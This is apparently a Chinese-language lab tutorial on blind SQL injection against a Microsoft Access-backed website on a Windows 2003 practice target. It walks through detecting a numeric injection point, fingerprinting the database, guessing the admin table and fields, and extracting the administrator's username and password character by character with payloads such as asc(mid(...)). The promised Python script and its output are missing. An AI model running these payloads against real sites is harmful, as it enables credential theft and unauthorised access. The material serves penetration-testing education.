我们将通过一个网站来熟悉ACCESS盲注
靶机:
win2003
我们先在网站的各个地方寻找注入点,发现在id的位置存在一个注入点
接着判断是字符型注入还是数值型注入,发现是数值型注入
1.字符型测试:id=2’ and ‘1’='1或id=2" and “1”="1
2.数值型测试:id=2 and 1=1
接着进行错误注入判断
id=2 and 1=0
判断是否为ACCESS数据库
id=2 and exists(select * from sysobjects)
id=2 and exists(select * from msysobjects)
sysobjects表不存在,msysobject表存在,但没有读取权限,可以判断为ACCESS数据库,因为union在这里不能使用,我们采取盲注的方法
猜测是否存在表admin
id=2 and exists(select * from admin)
admin表存在。我们找一下管理员登录界面,试一下/admin/或admin.asp
管理员界面为admin.asp,名称框和密码框的name值为username和password
猜测admin表应该存在username字段和password字段,在注入点验证一下
id=2 and exists(select username,password from admin)
username和password存在,用二分判断username字段的第一个值的长度,结果为5,
id=2 and (select top 1 len(username) from admin)=5
同样判断password字段的第一个值的长度,结果为10
id=2 and (select top 1 len(password) from admin)=10
接着判断username和password的各个字符
payload格式:
id=2 and (select top 1 asc(mid(username,字符位置,1)) from admin)=字符的ascii值
我们编写python脚本进行测试,代码如下:
结果为:
最后来到管理员界面登录
登录成功